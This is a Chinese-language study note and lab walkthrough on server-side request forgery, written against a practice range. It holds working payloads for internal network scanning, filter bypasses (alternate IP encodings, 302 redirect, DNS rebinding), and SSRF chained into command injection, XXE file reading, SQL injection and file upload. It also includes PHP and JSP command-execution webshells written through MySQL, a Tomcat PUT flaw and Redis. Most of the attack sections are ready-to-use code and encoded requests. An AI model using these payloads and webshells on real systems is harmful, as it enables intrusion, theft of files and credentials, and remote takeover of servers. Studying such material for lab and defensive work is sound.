SSRF学习

学习网站

**橙子科技:**https://www.bilibili.com/video/BV1iQ4y1u7Pt/?spm_id_from=333.1387.homepage.video_card.click&vd_source=525a280615063349bad5e187f6bfeec3

**靶场:**http://121.43.53.23:9091/

前置知识

NAT

什么是NAT

NAT(Network Address Translation):网络地址转换,是一种将私有(保留)地址转化为合法 IP 地址的转换技术,通过将一个外部 IP 地址和端口映射到更大的内部 IP 地址来转换 IP 地址

就是可以将内网 IP 转换成公网 IP,也可以进行端口映射

初识SSRF

什么是SSRF

SSRF(Server - Side Request Forgery),也就是服务器端请求伪造。简单来说,这是一种安全漏洞,攻击者可以利用这个漏洞让服务器去访问攻击者指定的其他网络资源。就好像攻击者找到了服务器的一个 “小跟班”,能让这个 “小跟班”(服务器)按照自己的意愿去获取别的地方的信息。

本质上是属于信息泄露漏洞

举例理解:

想象服务器是一个有严格门禁的公司大楼,正常情况下,它只会和经过授权的合作伙伴(正常的网络资源)交流。但是因为有 SSRF 漏洞,攻击者就像一个狡猾的骗子,通过某种手段(漏洞),让大楼里的工作人员(服务器)按照自己的指示,去访问一些未经授权的地方(其他网络资源)。

SSRF的成因

大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制

可能出现SSRF的地方

  • 从指定URL地址获取网页文本内容
  • 加载指定地址的图片,下载
  • 百度识图,给出一串URL就能识别出图片

SSRF攻击方式

借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息

image-20250422215816202

SSRF漏洞利用

利用过程

  • 通过服务器A(SSRF服务器)访问A所在内网的其他服务器。
  • 由SSRF服务器发送http伪协议连接给B服务器
  • B服务器回复到SSRF服务器
  • SSRF服务器收到回复后会显示内容

利用案例

  • 利用file协议读取本地文件
  • 对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 对内网web应用进行指纹识别,识别企业内部的资产信息
  • 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击

SSRF学习

以用SSRF打内网的流程深入学习

伪协议

伪协议 作用
file:// 从文件系统中获取文件内容,如file:///etc/passwd
dict:// 字典服务协议,访问字典资源,如 dict:///ip:6739/info:
ftp:// 可用于网络端口扫描(效率低一点)
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务

SSRF信息收集–file伪协议–查找内网存活主机

**作用:**从文件系统中获取文件内容

格式:file://[文件路径]

举例:

1
2
3
4
file:///etc/passwd				读取文件passwd
file://etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_trie 显示当前网段路由信息

查找内网存活主机

如下页面,可以使用file://伪协议读取任意文件

1
file:///etc/passwd

image-20250422214441451

可以成功读取到文件,就可以怀疑这个页面存在SSRF漏洞

然后第一个要考虑的就是这台主机所处的内网网段是多少,可以通过使用file://伪协议读取文件进行查看当前这台存在SSRF漏洞的主机的 IP 获取

1
file:///etc/hosts

image-20250422215024277

可以看到有两个 IP,这表明当前这个服务器存在两个网卡,一个网卡在172.251.251.2这个网段,另一个网卡在172.250.250.2这个网段

然后我们还可以继续获取ARP缓存表,寻找内网其他主机

1
file:///proc/net/arp

image-20250422221329788

只读到了三个网站,但是这不代表是所有的主机,只是当前已经使用ARP协议缓存过的

可以使用ARP协议扫描内网,好处是不关心对方服务器开没开防火墙或开了什么策略,只要是工作在 IP 协议的一个服务器,都可以使用ARP协议扫描出来

**什么是ARP缓存表:**ARP 缓存表是主机用于缓存 IP 地址与 MAC 地址映射关系的表,只有与其进行通信才会有这个ARP

所以可以通过SSRF漏洞去访问内网里的所有 IP,如果主机存活就会被记录在ARP缓存表中,然后使用file://伪协议去读取/proc/net/arp就可以知道有哪些主机是存活的

如:通过SSRF漏洞去访问http://172.250.250.6/这个网段,当前的SSRF服务器就会去尝试访问这个网站,与其进行通信,但是在与其进行通信之前,这个SSRF服务器会先发送一个 ARP 请求给要访问的网站,然后目标网站不管有没有开防火墙都会有一个简单的应答

image-20250422221309490

然后再此读取ARP缓存表,就会发现多出了刚才访问的网站

image-20250422221423498

要人工去一个个访问网站太麻烦,可以使用BurpSuite去访问所有地址

首先使用bp进行一次抓包

image-20250422222040263

将抓到的请求包发送到

image-20250422222305099

然后在payload中选择类型为数值,定义好范围是1到254,步长为1

image-20250422222452166

接着就可以开始攻击了

image-20250422222825575

最后再去读取ARP缓存表得到扫描的结果

image-20250422223008991

会发现有的不存活的主机也在里面,可以根据HW address进行区分,如果这部分不全是00的,就是存活的,如果全是00,就是不存活,为0的意思就是向其发送的 ARP 请求,但是目标主机并没有应答,所以该主机是没有存活的

SSRF信息收集–dict伪协议–查找内网主机开放端口

**作用:**字典服务协议,访问字典资源,可用于扫描端口、获取内网信息、爆破密码等

格式:dict://[服务器IP]:[端口]/[字典数据库名称:关键字]

举例:

1
dict://dict.org:2628/moby-thesaurus:happy
  • **dict.org**是字典服务器的地址
  • **2628**是端口号
  • **moby-thesaurus**是字典数据库的名称
  • **happy**是要查询的关键字

可以使用dict://伪协议查找内网主机开放端口,与其相似的是ftp://伪协议,但是ftp://伪协议效率较低,所以最好使用dict://伪协议

查找内网主机开放端口

如下,仍使用bp抓包,添加端口号

1
http://172.250.250.1:80

image-20250422225838573

发送到Intruder

image-20250422230035341

然后是要确定这次的payload由哪些部分组成

  • 首先是 IP 地址,在前面已经使用file://伪协议获取了存活的主机的 IP 地址,就不用考虑有哪些主机是存活的
  • 第二个就是端口,这次就是测试有哪些端口开放

先使用ftp://伪协议进行扫描1到14的IP的80端口

image-20250422230503939

image-20250422230527664

开始攻击后首先就会发现所需的时间很长,所以不建议使用,可以打开列中的接收到响应和响应完成两个选项判断是否开启了80端口,响应长的都是开启了的

image-20250422230933913

接下来使用dict://伪协议扫描1到14主机,并且检测端口,这里就要选择攻击类型为集束炸弹

image-20250422231338387

第一个payload和前面一样是1到14

image-20250422231452206

第二个payload选择简单列表,并添加一些端口

image-20250422231616457

经过上面的设置就可以扫描1到14这些主机的我们设置好要扫描的端口

开始攻击,会发现比使用ftp://伪协议快得多

image-20250422231900372

可以通过长度列的数值辨别该主机的端口是否开放,那些数值大的就是开放了的,下面这些就是没有开放,可以看到数值有明显的分界线

image-20250422232121601

获取网站信息

后面加入关键字就可以获取网站的信息了,如info

1
dict://172.250.250.11:3306/info

image-20250422232905611

SSRF信息收集–http伪协议–目录扫描

**作用:**常规 URL 形式,允许通过 HTTP 1.0 的GET方法,以只读访问文件或资源,在CTF中通常用于远程包含

举例:

1
2
3
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com

在SSRF中就是利用http伪协议进行目录扫描

目录扫描

接下来对172.250.250.480端口进行目录扫描,查看有哪些页面

首先通过SSRF服务器,使用http伪协议访问这个网站

1
http://172.250.250.4

image-20250422233710257

依旧使用bp抓包,并放到Intruder

image-20250422233849976

构造出子页面

image-20250422234006520

这里做目录扫描就是将index替换成其他的常见的名词

payload选择简单列表,这里要加载字典进去,字典可以在kali中获取,文件路径如下

1
/usr/share/wordlists/dirb/common.txt

image-20250422234630012

image-20250422234952423

然后开始攻击,依旧是根据长度判断目录是否存在

image-20250422235918303

可以访问看看

1
http://172.250.250.4/phpinfo.php

image-20250423001106200

如果不确定后缀名,可以再添加一个payload

image-20250423001227898

SSRF利用–gopher伪协议学习

gopher://伪协议可以理解为http://伪协议的前身

利用范围:GET提交POST提交RedisFastcgiSQL

为什么使用gopher伪协议:

  • 当需要POST提交时,可以利用gopher伪协议进行POST提交
  • gopher伪协议还可以对MySQL数据库发起一个未授权认证的攻击时,提交TCP的数据流

格式:URL:gopger://<host>:<port>/<gopher-path>

web也需要加端口号80,gopher协议默认端口为70

gopher请求不转发第一个字符

开启两个kali交互页面,用其中一个向本地的7777端口发送gopher伪协议请求

第一个页面监听7777端口

1
nc -lvp 7777

image-20250423003443809

另一个页面发送请求

1
curl gopher://127.0.0.1:7777/abcd

image-20250423003424298

会发现发送的是abcd,但接收到的只有bcd

image-20250423003533987

gopher请求不转发第一个字符

所以在提交的时候要在前面加上一个填充位_,这个填充位是没有意义的,只是为了让对方受到的数据完整

1
curl gopher://127.0.0.1:7777/_abcd

image-20250423004628798

image-20250423004637464

可以看到接收的数据完整了

简单实验

在SSRF服务器访问如下页面

1
http://172.250.250.4/name.php

image-20250423004946693

这个代码是会将GET或POST提交的值回显出来

首先使用GET提交

1
http://172.250.250.4/name.php?name=dazhunag

image-20250423005131168

然后是POST提交,但是使用http伪协议不能进行POST提交,就算改成POST提交,但只是提交给SSRF这个服务器,SSRF服务器是无法再POST提交给内网主机的

image-20250423005305165

这就要使用gopher伪协议了,可以使用gopher伪协议提交给SSRF服务器,SSRF服务器接收到提交的内容后,会进行解析,然后可以根据gopher伪协议里定义好的GET或POST方法去决定使用什么方法将数据发送给内网主机

GET提交

以下是正常使用GET请求的请求包

image-20250423010222009

需要保留头部信息

  • 路径:GET /name.php?name=dazhuang HTTP/1.1
  • 目标IP地址:Host: 172.250.250.4

构造POC

1
2
3
GET /name.php?name=dazhuang HTTP/1.1
Host: 172.250.250.4

注意:POC的最后是有一个换行符的,换行的上面是头部信息,下面是POST请求内容,还要注意添加端口号(80填充位(_

最终的POC

1
gopher://172.250.250.4:80/_GET%20/name.php%3fname=dazhuang%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
  • **%20**是空格
  • **%3f**是问号?
  • **%0d%0A**是换行符

进行提交

image-20250423011020182

也可以用bp抓包,把构造好的后面的内容放到bp里进行两次URL编码(发送请求时,浏览器会进行一次U人L编码,在将数据发送给SSRF服务器时SSRF服务器会进行一次URL解码,然后SSRF服务器发送给内网主机时内网主机会进行第二次URL解码)

第一次编码

image-20250423011541207

第二次编码

image-20250423012316053

最终结果

image-20250423012342123

注意点
  • 问号需要进行URL编码为%3f
  • 回车换行要URL编码为%0d%0a
  • 在HTTP包的最后要加上%0d%0a,代表消息结束
  • URL编码改为大写,冒号注意英文冒号
  • 如果使用bp发包需要进行两次URL编码
  • GET提交最后需要增加一个换行符

POST提交

image-20250423013351894

需要保留头部信息:

  • POST
  • Host:
  • Content-Type:
  • Content-Length:

构造POC

1
2
3
4
5
6
POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

name=jianjian

注意:Content-Length的值要和实际提交的长度一致,否则你定义的长度多少,最终读取到的就是多少,如:实际是13,定义为11,最终只会读name=jianji,还有就是上传的文件类型也要一致

可以像前面GET一样,进行两次URL编码,也可以直接使用bp的编码工具进行两次编码

image-20250423013736219

最终POC

1
gopher://172.250.250.4:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%33%25%30%61%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%61%25%36%39%25%36%31%25%36%65%25%36%61%25%36%39%25%36%31%25%36%65

image-20250423013853782

SSRF绕过

SSRF之回环地址绕过

如下页面要求访问本地的flag.php文件,但会发现127.0.0.1被过滤了

1
http://127.0.0.1/flag.php

image-20250423131511681

其他进制绕过

127.0.0.1被限制时,可以将其进行变形显示,使用其他进制进行绕过

1
2
3
4
5
6
127.0.0.1							点分十进制
01111111000000000000000000000001 数据包中实际是32位bit二进制,没有点
0b01111111000000000000000000000001 二进制
017700000001 八进制
0x7F000001 十六进制
2130706433 十进制(连续)

实际应用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 点分十进制
http://127.0.0.1/flag.php
# 二进制
http://0b01111111000000000000000000000001/flag.php
# 八进制
http://017700000001/flag.php
# 点分八进制
http://0177.0000.0000.0001/flag.php
# 十六进制
http://0xF000001/flag.php
# 点分十六进制
http://0x7F.0x00.0x00.0x01/flag.php
http://0x7F.0.0.1/flag.php
# 三十二进制
http://01111111000000000000000000000001/flag.php
# 十进制
http://2130706433/flag.php

image-20250423132338626

SSRF之302重定向绕过

原理

攻击者访问SSRF服务器(如http://home.ctf.com:7777),SSRF服务器解析访问公网web服务器(有公网IP的服务器,可以对域名解析的web服务器),然后这台服务器返回重定向302到127.0.0.1给SSRF服务器,这可以绕过我们想要提交的受限制的地址,然后SSRF服务器访问本地127.0.0.1,并且把结果返回给攻击者

image-20250423132638267

构建302重定向代码

1
2
3
<?php
header('Location: http://127.0.0.1/flag.php');
?>

在有公网IP的VPS上创建一个文件写入上面的代码

image-20250423135138756

然后使用命令监听7777端口

1
php -S 0.0.0.0:7777

image-20250423135214639

在靶场随便访问一个内网地址

1
http://192.168.1.151:7777/index.php

image-20250423134019306

这里无法回显,因为禁用了访问内网IP

可以通过访问刚才的VPS的代码文件,从而返回重定向302到127.0.0.1给SSRF服务器,然后SSRF服务器访问本地127.0.0.1,并且把结果返回给我们

1
http://<VPS的IP>/302.php

image-20250423135501357

SSRF之DNS重绑定绕过

针对SSRF漏洞的防御

  • 解析目标URL,获取其Host
  • 解析Host,获取Host指向的IP地址
  • 检查IP地址是否为内网地址
  • 请求URL
  • 如果有跳转,拿出跳转URL,执行1

可以有效限制以下内容

  • 直接访问内网IP
  • 302跳转
  • xip.io/xip.name及短链接变换等URL变形
  • 畸形URL
  • iframe攻击
  • IP进制转换

但是无法防御DNS重绑定攻击

SSRF防御模式

image.png

  • 在用户浏览器输入URL,客户端获取输入的URL,从该URL里提取Host(IP地址,可能是IP地址,也可能是域名)
  • 如果提取到的Host是域名,对该Host进行DNS解析,从而获取到解析的IP地址
  • 判断获取到的IP地址是合法的还是非法的(如是否是私有IP等),如果是非法的,直接返回内容
  • 如果检测到IP地址是合法的,就会执行服务端请求URL(curl的阶段发包),这里再进行一次DNS解析

两次DNS解析

  • **第一次DNS解析:**是对URL的Host进行DNS解析
  • **第二次DNS解析:**使用curl发包时候进行DNS解析

漏洞是在第二次DNS解析时形成的,可以利用两次DNS解析的时间差进行绕过

攻击原理

利用服务器两次解析同一域名的短暂间隙,更换域名背后的IP,达到突破同源策略或过WAF进行SSRF的目的

第一次DNS解析时检测URL的,第二次DNS解析是真正去访问,在第一次使其获取的是一个假的IP地址,在第二次时获取到一个回环地址,这就可以绕过WAF的限制,进行SSRF

缓存是与DNS中的机制TTL有关:域名和IP绑定关系的Cache存活的最长时间

TTL最理想的设置是0,即在第一次解析后,立马换位我们想要访问的内网IP,有些公共DNS服务器还是会把记录进行缓存

image-20250423141417741

可以使TTL值为0的网站:https://lock.cmpxchg8b.com/rebinder.html

下面俩的私网和公网IP可以调换

image-20250423142122121

1
http://deb74166.7f000001.rbndr.us/flag.php

image-20250423142207456

SSRF进行其他漏洞利用

使用SSRF进行命令执行

前提是已经通过前面学习的三个伪协议成功查找到内网存活的主机、开放的端口、并且通过目录扫描出一个存在命令执行漏洞的页面,如下获取的shell.php存在命令执行漏洞

1
http://172.250.250.4/shell.php

image-20250423143421393

使用http伪协议进行GET提交

这个页面可以通过提交GET参数cmd进行命令执行

1
http://172.250.250.4/shell.php?cmd=ls

image-20250423143712002

使用gopher伪协议进行GET提交

1
2
3
GET /shell.php?cmd=ls HTTP/1.1
Host: 172.250.250.4

首先进行抓包

1
gopher://172.250.250.4:80/_

image-20250423144503637

放入重放器进行两次URL编码

image-20250423144744986

image-20250423144822738

发送请求

image-20250423144920889

使用gopher伪协议进行POST提交

使用http伪协议访问漏洞网站

1
http://172.250.250.5/

image-20250423145354279

可以使用bp抓包获取参数

image-20250423145650718

进而构造POC

1
2
3
4
5
6
POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

ip=127.0.0.1

image-20250423150006536

image-20250423150619955

这里返回的结果要在源码中查看

然后就可以构造执行命令的POC,要注意修改长度

1
2
3
4
5
6
POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

ip=127.0.0.1;ls

image-20250423150923178

1
2
3
4
5
6
POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

ip=127.0.0.1;cat flag

image-20250423151424717

使用SSRF进行XXE

审计源代码

1
http://172.250.250.6/

image-20250509202417016

查看源代码,核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("用户名或密码不为空");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
swal("登录失败", "", "error");
}else if(code == "1"){
swal("登录成功", "", "success");
}else{
swal("系统错误", "", "success");
}
},
});
}

从代码中可以发现,在doLogin()这个函数中,我们提交的用户名和密码会被拼接进如下代码中

1
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 

这是一个典型的XML语言构造方式,然后是进行的POST提交,提交给doLogin.php,还要注意格式类型是xml的

构造payload

先构造一个简单的,提交用户名和密码都是admin

1
2
3
4
5
6
POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml;charset=utf-8
Content-Length: 66

<user><username>admin</username><password>passwd</password></user>

然后用bp抓包修改,gopher伪协议访问抓包

1
gopher://172.250.250.6:80/_

image-20250509205535253

image-20250509205548841

放入重放器,将刚才的payload放入进行两次url编码

image-20250509213551266

image-20250509213728608

得到的响应也是xml格式的

1
<result><code>0</code><msg>admin</msg></result>

看源代码中的这部分

image-20250509210529088

这里响应的code为0,说明登录失败了,然后会显示msg是用户名为admin,注意这里会回显用户名的,可以用来回显文件内容

实验结束,然后就可以构造一个进行任意文件读取的payload了

1
2
3
4
5
6
POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml;charset=utf-8
Content-Length: 131

<!DOCTYPE root [<!ENTITY benben SYSTEM "file:///etc/passwd">]><user><username>&benben;</username><password>passwd</password></user>
  • 这里就是定义了一个实体benben,引入了外部实体SYSTEM,这个外部实体指向的文件路径是file:///etc/passwd,就相当于现在benben代表的是/etc/passwd这个文件
  • 然后在填写用户名的地方填写&benben;引用benben实体,因为刚才实验可知会返回用户名的内容,所以这里会回显/etc/passwd的文件内容,实现了任意文件读取

image-20250509214128766

image-20250509214203895

使用SSRF进行SQL注入

1
http://172.250.250.11/

image-20250423182926236

SQL注入语句

1
2
3
4
5
6
7
8
9
10
11
12
# 查询列数
/?id=1'%20group%20by%203--%20
# 查询回显位
/?id=-1'%20union%20select%201,2,3--%20
# 查询数据库名
/?id=-1'%20union%20select%201,2,database()--%20
# 查询表名
/?id=-1'%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--%20
# 查询列名
/?id=-1'%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%20and%20table_schema=database()--%20
# 查询数据
/?id=-1'%20union%20select%201,2,group_concat(username,'-',password)%20from%20users--%20
注意
  • 所有空格的地方都要用+%20表示

直接填写空格会报错

1
http://172.250.250.11/Less-1/?id=1' --+

image-20250423185549061

可以使用+替换

1
http://172.250.250.11/Less-1/?id=1'+--+

image-20250423185608042

可以使用%20替换

1
http://172.250.250.11/Less-1/?id=1'%20--%20

image-20250423185017524

也可以两个混合使用

  • HackBar进行提交要把所有的空格进行两次URL编码为%25%20,或者直接使用+

只进行一次URL编码会报错

1
http://172.250.250.11/Less-1/?id=1'%20group%20by%203--%20

image-20250423190639575

要进行两次URL编码

1
http://172.250.250.11/Less-1/?id=1'%2520group%2520by%25203--%2520

image-20250423191100481

或者直接全部使用+

1
http://172.250.250.11/Less-1/?id=1'+group+by+3--+

image-20250423191158425

要用POST提交进行SQL注入

1
http://172.250.250.11/Less-11/

image-20250423191605610

查看源代码,可以看要用POST提交三个参数

image-20250423191758724

SSRF里POST提交就要使用gopher伪协议

可以进行一次抓包,构造出POC

1
2
3
4
5
6
gopher://172.250.250.11:80/_POST /Less-11/index.php HTTP/1.1
Host: 172.250.250.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

uname=-1' union select 1,2 #&passwd=123&submit=Submit

image-20250423193017235

进行两次URL编码

image-20250423193135040

使用SSRF进行文件上传

multipart/form-data的定义

multipart/form-data是在 HTTP 协议里用于表单数据提交的一种编码方式,这个数据体由多个部分组成,每个部分被一个固定边界值分隔

简单的说就是一个分隔符,将POST多个提交内容使用分界线拼接起来

如下是进行一次文件上传的抓包

image-20250423194434594

构造payload

1
http://172.250.250.14/Pass-01/index.php

image-20250423194302965

查看源代码,寻找之后要构造的payload的部分

image-20250423194737386

首先定义分界线,这是必需的,其中的boundary的值可以随便定义,这里使用${Boundary}作为分界线

1
Content-Type: multipart/form-data; boundary=${Boundary}

使用分界线,要在定义好的分界线前要加上两个减号

1
--${Boundary}

根据源码进行编写提交的内容,首先是上传的文件与文件内容

1
2
3
4
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/jpeg

<?php phpinfo();?>

然后使用分界线分隔开

1
--${Boundary}

接着继续根据源码编写另一个POST提交的内容submit,这部分可省略

1
2
3
4
Content-Disposition: form-data; name="submit"
Content-Type: text/plain;charset=UTF-8

上传

最后再使用一次分界线,并且最后加上俩减号

1
--${Boundary}--

完整的payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Content-Type: multipart/form-data; boundary=${Boundary}

--${Boundary}--
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/jpeg

<?php phpinfo();?>

--${Boundary}--
Content-Disposition: form-data; name="submit"
Content-Type: text/plain;charset=UTF-8

上传
--${Boundary}--

构造出完整的gopher提交数据

可以通过抓包获取数据进行构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /Pass-01/index.php HTTP/1.1
Host: 172.250.250.14
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryy0nfsJQPiWB4Y9qs
Content-Length: 306

------WebKitFormBoundarysogmETe5AIRzminC
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarysogmETe5AIRzminC
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarysogmETe5AIRzminC--

使用gopher伪协议进行上传

image-20250423201834987

进行两次URL编码后提交,会得到文件路径(上面的那个payload不知道为什么传之后得不到文件路径,这直接用的视频里的)

image-20250423204852849

最后可以使用http伪协议查看上传的文件

1
http://172.250.250.14/upload/phpinfo.php

image-20250423205317234

使用SSRF进行文件包含

1
http://172.250.250.14/include.php

image-20250423211557880

直接使用伪协议包含读取文件

可以直接提交一个参数就能读取文件

1
http://172.250.250.14/include.php?file=file:///etc/passwd

image-20250423211807854

如果使用data://这种伪协议,含有空格的要使用URL编码,或者使用+

1
http://172.250.250.14/include.php?file=data://text/plain,<?php%20system('id');?>

image-20250423212036497

如果是POST提交的参数,就和前面的漏洞利用一样使用gopher伪协议

SSRF之对MySQL进行未授权操作

使用SSRF对MySQL进行未授权查询

这里的未授权是MySQL的数据库没有设置密码,并且允许用户登录数据库

如何与MySQL进行数据通讯

1
2
mysql -uroot		进入MySQL
show databases; 查看数据库

通过SSRF查看数据库security下表user的内容

抓取本地MySQL数据库通讯内容构造payload

工具:tcpdumpWireshark

也可以直接只用Wireshark抓取数据包并进行十六进制展示,再编程URL编码进行提交

  • 开始抓包,监听 lo 回环地址接口网卡的3306端口,-w写入文件mysql.pcapng生成在根目录下
1
tcpdump -i lo port 3306 -w mysql.pcapng

image-20250423224515084

  • 写入指令
1
mysql -h127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"

image-20250423224444109

然后就可以停止监听,并且可以在根目录看到mysql.pcapng文件

image-20250423224639293

把文件复制到本地,用Wireshark打开,找到三次TCP握手,右键=》跟踪流=》TCP流

image-20250423224913559

会得到以下数据流,红色的是自己主机发给MySQL服务器的数据流,蓝色的是接收的

image-20250423225102697

构造POC的只需要红色部分的,所以要进行过滤

image-20250423225255357

还要改成原始数据

image-20250423225332934

最后得到的就是要使用的构造POC的内容

image-20250423225410894

对以上数据还要进行一些修改,要去掉换行符,还要将ASCII码转化为URL编码

ASCII码转化为URL编码的脚本如下

1
2
3
4
5
6
7
8
9
import sys

def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://172.250.250.1:3306/_%"+"%".join(a)

if __name__=="__main__":
s=sys.argv[1]
print(results(s))

image-20250423225852400

image-20250423230019375

将得到的payload在SSRF服务器提交,就可以获得数据库查询结果

image-20250423230118363

使用工具构造payload

拉取工具

1
git clone https://github.com/tarunkant/Gopherus

进行攻击

1
2
3
4
cd Gopherus
python2.7 gopherus.py --exploit mysql

select * from security.users

image-20250424001659075

127.0.0.1改成服务器地址172.250.250.1

image-20250423233735101

使用SSRF对MySQL进行未授权文件写入

查看写入权限

1
show variables like '%secure%'

image-20250423235910306

image-20250424000044507

查看源码,会发现下面secure_file_priv这里没有值,就有写入权限

image-20250424000201569

使用工具构造payload

使用into outfile生成文件cmd.php并写入一句话

1
2
3
4
select "<?php system($_GET['cmd']);?>" into outfile '/var/www/html/cmd.php';

# 如果是宝塔搭建的
select "<?php system($_GET['cmd']);?>" into outfile '/www/wwwroot/cmd.php';

image-20250424000628991

image-20250424000850842

执行命令

1
http://172.250.250.1/cmd.php?cmd=ls

image-20250424001000102

使用SSRF对tomcat文件写入

tomcat漏洞:CVE-2017-12615

这个漏洞的作用是任意文件上传,绕过验证直接在目标靶机进行文件上传

默认端口是8080

要构造的POC

头部信息

image-20250424002709598

然后构造一句话木马填充到头部信息后

image-20250424002759890

将以上两部分合并后进行URL编码提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PUT /cmd.jsp/ HTTP/1.1
Host: 172.250.250.7:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 460

<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>
1
http://172.250.250.7:8080

image-20250424002953081

先提交gopher伪协议进行抓包

1
gopher://172.250.250.7:8080/_

加入POC,进行两次URL编码

image-20250424004605165

image-20250424004643567

访问看看

1
http://172.250.250.7:8080/cmd.jsp

image-20250424004720696

可以看到成功了,可以执行命令

1
http://172.250.250.7:8080/cmd.jsp?cmd=ls

image-20250424004843016

使用SSRF对Redis漏洞未授权操作

使用SSRF对Redis未授权Webshell写入

如果对方服务器上有一个网站,可以使用Redis未授权,向对方网站的根目录下写入一个一句话木马,从而拿到对方的Webshell

利用逻辑

通过备份dbfilename这个文件,将备份文件放在/var/www/html/这个路径下,并设置文件名为phpinfo.php,同时备份的数据写入<?php phpinfo();?>,最后保存退出

  • 设置Web路径
1
config set dir /var/www/html/
  • 设置shell文件名
1
config set dbfilename phpinfo.php
  • 像数据库插入payload
1
set payload "<?php phpinfo();?>"
  • 保存Webshell
1
save

本地抓包构造

抓包

1
tcpdump -i br-容器ID tcp and port 6379 -w redis.pcapng

image-20250424145417317

用Redis-cli登录到主机内

1
redis-cli -h 172.250.250.9

设置路径到网站的根目录

1
config set dir /var/www/html/

设置Web路径

1
config set dir /var/www/html/

设置shell文件名

1
config set dbfilename info.php

像数据库插入payload

1
set payload "<?php phpinfo();?>"

保存Webshell

1
save

最后退出

1
quit

image-20250424145835373

现在就拿到了完整的数据包,可以在根目录查看

image-20250424150105087

将抓到的包用Wireshark打开

image-20250424150311486

筛选器筛选出红色的部分

image-20250424150432270

将数据复制出来,这是第一个命令的参数

image-20250424151303007

构造payload时上面三行可删去

image-20250424151340968

最后加上quit,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
*4
$6
CONFIG
$3
SET
$3
dir
$14
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$8
info.php
*3
$3
set
$7
payload
$19
<?php phpinfo(); ?>
*1
$4
save
*1
$4
quit

